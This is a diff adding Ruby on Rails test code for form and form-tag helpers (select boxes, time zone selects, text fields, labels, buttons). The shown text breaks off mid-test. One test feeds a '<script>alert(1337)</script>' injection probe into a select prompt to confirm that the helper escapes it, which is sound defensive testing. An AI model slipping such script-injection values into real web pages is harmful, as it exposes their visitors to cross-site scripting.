+ collection_select("post", "author_name", dummy_posts, "author_name", lambda { |p| p.title })
+ )
+ end
+
+ def test_time_zone_select
+ @firm = Firm.new("D")
+ html = time_zone_select( "firm", "time_zone" )
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_under_fields_for
+ @firm = Firm.new("D")
+
+ output_buffer = fields_for :firm, @firm do |f|
+ concat f.time_zone_select(:time_zone)
+ end
+
+ assert_dom_equal(
+ "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ output_buffer
+ )
+ end
+
+ def test_time_zone_select_under_fields_for_with_index
+ @firm = Firm.new("D")
+
+ output_buffer = fields_for :firm, @firm, :index => 305 do |f|
+ concat f.time_zone_select(:time_zone)
+ end
+
+ assert_dom_equal(
+ "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ output_buffer
+ )
+ end
+
+ def test_time_zone_select_under_fields_for_with_auto_index
+ @firm = Firm.new("D")
+ def @firm.to_param; 305; end
+
+ output_buffer = fields_for "firm[]", @firm do |f|
+ concat f.time_zone_select(:time_zone)
+ end
+
+ assert_dom_equal(
+ "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ output_buffer
+ )
+ end
+
+ def test_time_zone_select_with_blank
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"\"></option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_blank_as_string
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"\">No Zone</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_style
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil, {},
+ "style" => "color: red")
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
+ :style => "color: red")
+ end
+
+ def test_time_zone_select_with_blank_and_style
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil,
+ { :include_blank => true }, "style" => "color: red")
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+ "<option value=\"\"></option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+ { :include_blank => true }, :style => "color: red")
+ end
+
+ def test_time_zone_select_with_blank_as_string_and_style
+ @firm = Firm.new("D")
+ html = time_zone_select("firm", "time_zone", nil,
+ { :include_blank => 'No Zone' }, "style" => "color: red")
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
+ "<option value=\"\">No Zone</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+ { :include_blank => 'No Zone' }, :style => "color: red")
+ end
+
+ def test_time_zone_select_with_priority_zones
+ @firm = Firm.new("D")
+ zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
+ html = time_zone_select("firm", "time_zone", zones )
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_priority_zones_as_regexp
+ @firm = Firm.new("D")
+
+ @fake_timezones.each_with_index do |tz, i|
+ tz.stubs(:=~).returns(i.zero? || i == 3)
+ end
+
+ html = time_zone_select("firm", "time_zone", /A|D/)
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_priority_zones_as_regexp_using_grep_finds_no_zones
+ @firm = Firm.new("D")
+
+ priority_zones = /A|D/
+ @fake_timezones.each do |tz|
+ priority_zones.stubs(:===).with(tz).raises(Exception)
+ end
+
+ html = time_zone_select("firm", "time_zone", priority_zones)
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_default_time_zone_and_nil_value
+ @firm = Firm.new()
+ @firm.time_zone = nil
+
+ html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\" selected=\"selected\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_time_zone_select_with_default_time_zone_and_value
+ @firm = Firm.new('D')
+
+ html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
+ assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "</select>",
+ html
+ end
+
+ def test_options_for_select_with_element_attributes
+ assert_dom_equal(
+ "<option value=\"<Denmark>\" class=\"bold\"><Denmark></option>\n<option value=\"USA\" onclick=\"alert('Hello World');\">USA</option>\n<option value=\"Sweden\">Sweden</option>\n<option value=\"Germany\">Germany</option>",
+ options_for_select([ [ "<Denmark>", { :class => 'bold' } ], [ "USA", { :onclick => "alert('Hello World');" } ], [ "Sweden" ], "Germany" ])
+ )
+ end
+
+ def test_options_for_select_with_data_element
+ assert_dom_equal(
+ "<option value=\"<Denmark>\" data-test=\"bold\"><Denmark></option>",
+ options_for_select([ [ "<Denmark>", { :data => { :test => 'bold' } } ] ])
+ )
+ end
+
+ def test_options_for_select_with_data_element_with_special_characters
+ assert_dom_equal(
+ "<option value=\"<Denmark>\" data-test=\"<bold>\"><Denmark></option>",
+ options_for_select([ [ "<Denmark>", { :data => { :test => '<bold>' } } ] ])
+ )
+ end
+
+ def test_options_for_select_with_element_attributes_and_selection
+ assert_dom_equal(
+ "<option value=\"<Denmark>\"><Denmark></option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "<Denmark>", [ "USA", { :class => 'bold' } ], "Sweden" ], "USA")
+ )
+ end
+
+ def test_options_for_select_with_element_attributes_and_selection_array
+ assert_dom_equal(
+ "<option value=\"<Denmark>\"><Denmark></option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
+ options_for_select([ "<Denmark>", [ "USA", { :class => 'bold' } ], "Sweden" ], [ "USA", "Sweden" ])
+ )
+ end
+
+ def test_options_for_select_with_special_characters
+ assert_dom_equal(
+ "<option value=\"<Denmark>\" onclick=\"alert("<code>")\"><Denmark></option>",
+ options_for_select([ [ "<Denmark>", { :onclick => %(alert("<code>")) } ] ])
+ )
+ end
+
+ def test_option_html_attributes_with_no_array_element
+ assert_equal({}, option_html_attributes('foo'))
+ end
+
+ def test_option_html_attributes_without_hash
+ assert_equal({}, option_html_attributes([ 'foo', 'bar' ]))
+ end
+
+ def test_option_html_attributes_with_single_element_hash
+ assert_equal(
+ {:class => 'fancy'},
+ option_html_attributes([ 'foo', 'bar', { :class => 'fancy' } ])
+ )
+ end
+
+ def test_option_html_attributes_with_multiple_element_hash
+ assert_equal(
+ {:class => 'fancy', 'onclick' => "alert('Hello World');"},
+ option_html_attributes([ 'foo', 'bar', { :class => 'fancy', 'onclick' => "alert('Hello World');" } ])
+ )
+ end
+
+ def test_option_html_attributes_with_multiple_hashes
+ assert_equal(
+ {:class => 'fancy', 'onclick' => "alert('Hello World');"},
+ option_html_attributes([ 'foo', 'bar', { :class => 'fancy' }, { 'onclick' => "alert('Hello World');" } ])
+ )
+ end
+
+ def test_option_html_attributes_with_multiple_hashes_does_not_modify_them
+ options1 = { class: 'fancy' }
+ options2 = { onclick: "alert('Hello World');" }
+ option_html_attributes([ 'foo', 'bar', options1, options2 ])
+
+ assert_equal({ class: 'fancy' }, options1)
+ assert_equal({ onclick: "alert('Hello World');" }, options2)
+ end
+
+ def test_grouped_collection_select
+ @post = Post.new
+ @post.origin = 'dk'
+
+ assert_dom_equal(
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+ grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
+ )
+ end
+
+ def test_grouped_collection_select_with_selected
+ @post = Post.new
+
+ assert_dom_equal(
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+ grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :selected => 'dk')
+ )
+ end
+
+ def test_grouped_collection_select_with_disabled_value
+ @post = Post.new
+
+ assert_dom_equal(
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option disabled="disabled" value="dk">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+ grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :disabled => 'dk')
+ )
+ end
+
+ def test_grouped_collection_select_under_fields_for
+ @post = Post.new
+ @post.origin = 'dk'
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.grouped_collection_select("origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
+ end
+
+ assert_dom_equal(
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
+ output_buffer
+ )
+ end
+
+ private
+
+ def dummy_posts
+ [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
+ Post.new("Babe went home", "Babe", "To a little house", "shh!"),
+ Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
+ end
+
+ def dummy_continents
+ [ Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")]),
+ Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")]) ]
+ end
+end
diff --git a/actionpack/test/template/form_tag_helper_test.rb b/actionpack/test/template/form_tag_helper_test.rb
new file mode 100644
index 0000000..6c6a142
--- /dev/null
+++ b/actionpack/test/template/form_tag_helper_test.rb
@@ -0,0 +1,642 @@
+require 'abstract_unit'
+
+class FormTagHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
+ tests ActionView::Helpers::FormTagHelper
+
+ def setup
+ super
+ @controller = BasicController.new
+ end
+
+ def hidden_fields(options = {})
+ method = options[:method]
+
+ txt = %{<div style="margin:0;padding:0;display:inline">}
+ txt << %{<input name="utf8" type="hidden" value="✓" />}
+ if method && !%w(get post).include?(method.to_s)
+ txt << %{<input name="_method" type="hidden" value="#{method}" />}
+ end
+ txt << %{</div>}
+ end
+
+ def form_text(action = "http://www.example.com", options = {})
+ remote, enctype, html_class, id, method = options.values_at(:remote, :enctype, :html_class, :id, :method)
+
+ method = method.to_s == "get" ? "get" : "post"
+
+ txt = %{<form accept-charset="UTF-8" action="#{action}"}
+ txt << %{ enctype="multipart/form-data"} if enctype
+ txt << %{ data-remote="true"} if remote
+ txt << %{ class="#{html_class}"} if html_class
+ txt << %{ id="#{id}"} if id
+ txt << %{ method="#{method}">}
+ end
+
+ def whole_form(action = "http://www.example.com", options = {})
+ out = form_text(action, options) + hidden_fields(options)
+
+ if block_given?
+ out << yield << "</form>"
+ end
+
+ out
+ end
+
+ def url_for(options)
+ if options.is_a?(Hash)
+ "http://www.example.com"
+ else
+ super
+ end
+ end
+
+ VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
+
+ def test_check_box_tag
+ actual = check_box_tag "admin"
+ expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_check_box_tag_id_sanitized
+ label_elem = root_elem(check_box_tag("project[2][admin]"))
+ assert_match VALID_HTML_ID, label_elem['id']
+ end
+
+ def test_form_tag
+ actual = form_tag
+ expected = whole_form
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_multipart
+ actual = form_tag({}, { 'multipart' => true })
+ expected = whole_form("http://www.example.com", :enctype => true)
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_method_patch
+ actual = form_tag({}, { :method => :patch })
+ expected = whole_form("http://www.example.com", :method => :patch)
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_method_put
+ actual = form_tag({}, { :method => :put })
+ expected = whole_form("http://www.example.com", :method => :put)
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_method_delete
+ actual = form_tag({}, { :method => :delete })
+
+ expected = whole_form("http://www.example.com", :method => :delete)
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_remote
+ actual = form_tag({}, :remote => true)
+
+ expected = whole_form("http://www.example.com", :remote => true)
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_remote_false
+ actual = form_tag({}, :remote => false)
+
+ expected = whole_form
+ assert_dom_equal expected, actual
+ end
+
+ def test_form_tag_with_block_in_erb
+ output_buffer = render_erb("<%= form_tag('http://www.example.com') do %>Hello world!<% end %>")
+
+ expected = whole_form { "Hello world!" }
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_tag_with_block_and_method_in_erb
+ output_buffer = render_erb("<%= form_tag('http://www.example.com', :method => :put) do %>Hello world!<% end %>")
+
+ expected = whole_form("http://www.example.com", :method => "put") do
+ "Hello world!"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_hidden_field_tag
+ actual = hidden_field_tag "id", 3
+ expected = %(<input id="id" name="id" type="hidden" value="3" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_hidden_field_tag_id_sanitized
+ input_elem = root_elem(hidden_field_tag("item[][title]"))
+ assert_match VALID_HTML_ID, input_elem['id']
+ end
+
+ def test_file_field_tag
+ assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
+ end
+
+ def test_file_field_tag_with_options
+ assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", :class => "pix")
+ end
+
+ def test_password_field_tag
+ actual = password_field_tag
+ expected = %(<input id="password" name="password" type="password" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_radio_button_tag
+ actual = radio_button_tag "people", "david"
+ expected = %(<input id="people_david" name="people" type="radio" value="david" />)
+ assert_dom_equal expected, actual
+
+ actual = radio_button_tag("num_people", 5)
+ expected = %(<input id="num_people_5" name="num_people" type="radio" value="5" />)
+ assert_dom_equal expected, actual
+
+ actual = radio_button_tag("gender", "m") + radio_button_tag("gender", "f")
+ expected = %(<input id="gender_m" name="gender" type="radio" value="m" /><input id="gender_f" name="gender" type="radio" value="f" />)
+ assert_dom_equal expected, actual
+
+ actual = radio_button_tag("opinion", "-1") + radio_button_tag("opinion", "1")
+ expected = %(<input id="opinion_-1" name="opinion" type="radio" value="-1" /><input id="opinion_1" name="opinion" type="radio" value="1" />)
+ assert_dom_equal expected, actual
+
+ actual = radio_button_tag("person[gender]", "m")
+ expected = %(<input id="person_gender_m" name="person[gender]" type="radio" value="m" />)
+ assert_dom_equal expected, actual
+
+ actual = radio_button_tag('ctrlname', 'apache2.2')
+ expected = %(<input id="ctrlname_apache2.2" name="ctrlname" type="radio" value="apache2.2" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag
+ actual = select_tag "people", "<option>david</option>".html_safe
+ expected = %(<select id="people" name="people"><option>david</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_multiple
+ actual = select_tag "colors", "<option>Red</option><option>Blue</option><option>Green</option>".html_safe, :multiple => :true
+ expected = %(<select id="colors" multiple="multiple" name="colors"><option>Red</option><option>Blue</option><option>Green</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_disabled
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :disabled => :true
+ expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_id_sanitized
+ input_elem = root_elem(select_tag("project[1]people", "<option>david</option>"))
+ assert_match VALID_HTML_ID, input_elem['id']
+ end
+
+ def test_select_tag_with_include_blank
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :include_blank => true
+ expected = %(<select id="places" name="places"><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_prompt
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string"
+ expected = %(<select id="places" name="places"><option value="">string</option><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_escapes_prompt
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "<script>alert(1337)</script>"
+ expected = %(<select id="places" name="places"><option value=""><script>alert(1337)</script></option><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_prompt_and_include_blank
+ actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string", :include_blank => true
+ expected = %(<select name="places" id="places"><option value="">string</option><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_nil_option_tags_and_include_blank
+ actual = select_tag "places", nil, :include_blank => true
+ expected = %(<select id="places" name="places"><option value=""></option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_select_tag_with_nil_option_tags_and_prompt
+ actual = select_tag "places", nil, :prompt => "string"
+ expected = %(<select id="places" name="places"><option value="">string</option></select>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_size_string
+ actual = text_area_tag "body", "hello world", "size" => "20x40"
+ expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_size_symbol
+ actual = text_area_tag "body", "hello world", :size => "20x40"
+ expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
+ actual = text_area_tag "body", "hello world", :size => 20
+ expected = %(<textarea id="body" name="body">\nhello world</textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_id_sanitized
+ input_elem = root_elem(text_area_tag("item[][description]"))
+ assert_match VALID_HTML_ID, input_elem['id']
+ end
+
+ def test_text_area_tag_escape_content
+ actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40"
+ expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_unescaped_content
+ actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40", :escape => false
+ expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_area_tag_unescaped_nil_content
+ actual = text_area_tag "body", nil, :escape => false
+ expected = %(<textarea id="body" name="body">\n</textarea>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag
+ actual = text_field_tag "title", "Hello!"
+ expected = %(<input id="title" name="title" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_class_string
+ actual = text_field_tag "title", "Hello!", "class" => "admin"
+ expected = %(<input class="admin" id="title" name="title" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_size_symbol
+ actual = text_field_tag "title", "Hello!", :size => 75
+ expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_size_string
+ actual = text_field_tag "title", "Hello!", "size" => "75"
+ expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_maxlength_symbol
+ actual = text_field_tag "title", "Hello!", :maxlength => 75
+ expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_maxlength_string
+ actual = text_field_tag "title", "Hello!", "maxlength" => "75"
+ expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_disabled
+ actual = text_field_tag "title", "Hello!", :disabled => :true
+ expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_with_multiple_options
+ actual = text_field_tag "title", "Hello!", :size => 70, :maxlength => 80
+ expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_text_field_tag_id_sanitized
+ input_elem = root_elem(text_field_tag("item[][title]"))
+ assert_match VALID_HTML_ID, input_elem['id']
+ end
+
+ def test_label_tag_without_text
+ actual = label_tag "title"
+ expected = %(<label for="title">Title</label>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_label_tag_with_symbol
+ actual = label_tag :title
+ expected = %(<label for="title">Title</label>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_label_tag_with_text
+ actual = label_tag "title", "My Title"
+ expected = %(<label for="title">My Title</label>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_label_tag_class_string
+ actual = label_tag "title", "My Title", "class" => "small_label"
+ expected = %(<label for="title" class="small_label">My Title</label>)
+ assert_dom_equal expected, actual
+ end
+
+ def test_label_tag_id_sanitized
+ label_elem = root_elem(label_tag("item[title]"))
+ assert_match VALID_HTML_ID, label_elem['for']
+ end
+
+ def test_label_tag_with_block
+ assert_dom_equal('<label>Blocked</label>', label_tag { "Blocked" })
+ end
+
+ def test_label_tag_with_block_and_argument
+ output = label_tag("clock") { "Grandfather" }
+ assert_dom_equal('<label for="clock">Grandfather</label>', output)
+ end
+
+ def test_label_tag_with_block_and_argument_and_options
+ output = label_tag("clock", :id => "label_clock") { "Grandfather" }
+ assert_dom_equal('<label for="clock" id="label_clock">Grandfather</label>', output)
+ end
+
+ def test_boolean_options
+ assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes")
+ assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil)
+ assert_dom_equal %(<input type="checkbox" />), tag(:input, :type => "checkbox", :checked => false)
+ assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => true)
+ assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", "<option>david</option>".html_safe, :multiple => true)
+ assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => nil)
+ end
+
+ def test_stringify_symbol_keys
+ actual = text_field_tag "title", "Hello!", :id => "admin"
+ expected = %(<input id="admin" name="title" type="text" value="Hello!" />)
+ assert_dom_equal expected, actual
+ end
+
+ def test_submit_tag
+ assert_dom_equal(
+ %(<input name='commit' data-disable-with="Saving..." onclick="alert('hello!')" type="submit" value="Save" />),
+ submit_tag("Save", :onclick => "alert('hello!')", :data => { :disable_with => "Saving..." })
+ )
+ end
+
+ def test_submit_tag_with_no_onclick_options
+ assert_dom_equal(
+ %(<input name='commit' data-disable-with="Saving..." type="submit" value="Save" />),
+ submit_tag("Save", :data => { :disable_with => "Saving..." })
+ )
+ end
+
+ def test_submit_tag_with_confirmation
+ assert_dom_equal(
+ %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
+ submit_tag("Save", :data => { :confirm => "Are you sure?" })
+ )
+ end
+
+ def test_submit_tag_with_deprecated_confirmation
+ assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
+ assert_dom_equal(
+ %(<input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />),
+ submit_tag("Save", :confirm => "Are you sure?")
+ )
+ end
+ end
+
+ def test_button_tag
+ assert_dom_equal(
+ %(<button name="button" type="submit">Button</button>),
+ button_tag
+ )
+ end
+
+ def test_button_tag_with_submit_type
+ assert_dom_equal(
+ %(<button name="button" type="submit">Save</button>),
+ button_tag("Save", :type => "submit")
+ )
+ end
+
+ def test_button_tag_with_button_type
+ assert_dom_equal(
+ %(<button name="button" type="button">Button</button>),
+ button_tag("Button", :type => "button")
+ )
+ end
+
+ def test_button_tag_with_reset_type
+ assert_dom_equal(
+ %(<button name="button" type="reset">Reset</button>),
+ button_tag("Reset", :type => "reset")
+ )
+ end
+
+ def test_button_tag_with_disabled_option
+ assert_dom_equal(
+ %(<button name="button" type="reset" disabled="disabled">Reset</button>),
+ button_tag("Reset", :type => "reset", :disabled => true)
+ )
+ end
+
+ def test_button_tag_escape_content
+ assert_dom_equal(
+ %(<button name="button" type="reset" disabled="disabled"><b>Reset</b></button>),
+ button_tag("<b>Reset</b>", :type => "reset", :disabled => true)
+ )
+ end
+
+ def test_button_tag_with_block
+ assert_dom_equal('<button name="button" type="submit">Content</button>', button_tag { 'Content' })
+ end
+
+ def test_button_tag_with_block_and_options
+ output = button_tag(:name => 'temptation', :type => 'button') { content_tag(:strong, 'Do not press me') }
+ assert_dom_equal('<button name="temptation" type="button"><strong>Do not press me</strong></button>', output)
+ end
+
+ def test_button_tag_with_confirmation
+ assert_dom_equal(
+ %(<button name="button" type="submit" data-confirm="Are you sure?">Save</button>),
